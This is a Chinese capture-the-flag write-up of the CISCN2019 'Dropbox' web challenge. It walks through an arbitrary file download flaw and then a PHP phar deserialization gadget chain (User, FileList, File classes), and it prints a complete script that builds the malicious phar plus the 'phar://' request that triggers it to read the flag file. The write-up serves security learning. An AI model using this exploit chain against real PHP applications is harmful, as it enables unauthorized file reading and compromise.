CISCN2019 华北赛区 Day1 Web1Dropbox

题目这边提示php phar
注册后进行登入然后可以上传图片可以进行下载和删除
抓下载的包发现这是存在一个任意文件下载漏洞可以搞到源码之类的😏

114.PNG

下载到index.php download.php class.php delete.php
download里头就是很常规的下载文件操作而且限制了不能下载名字带有flag的

1
2
3
4
5
6
7
8
<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
#省略一些代码
echo $file->close();
} else {
echo "File not exist";
}
?>

delete里头也没什么 class.php 定义用户和相关文件的类
phar:将phar传入服务器端然后有可用的魔术方法作为“跳板”
File类中close方法会获取文件内容 如果能触发该方法就可能获取flag
User类中存在close方法并且该方法在对象销毁时执行
class中的FileList存在call的魔术方法 并且没有close方法 如果一个FIleList对象调用了close()方法根据call方法的代码可以知道close方法被执行,就可能拿到flag
创建一个user的对象 db变量是一个FileList对象,其中文件名为flag的位置,这样当user被销毁时,db变量的close就会被执行就能触发call的魔术方法,从而变成执行了file对象的close方法,分析FileLIst类的构造方法,close方法执行后存在results变量的结果会加入到table变量中被打印出来也就是flag
借助phar伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class User {
public $db;
}

class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}

}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub这边也可添加文件头进去

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行该脚本生成的文件修改格式后上传
删除的时候burp抓包然后修改参数

1
filename=phar://phar.png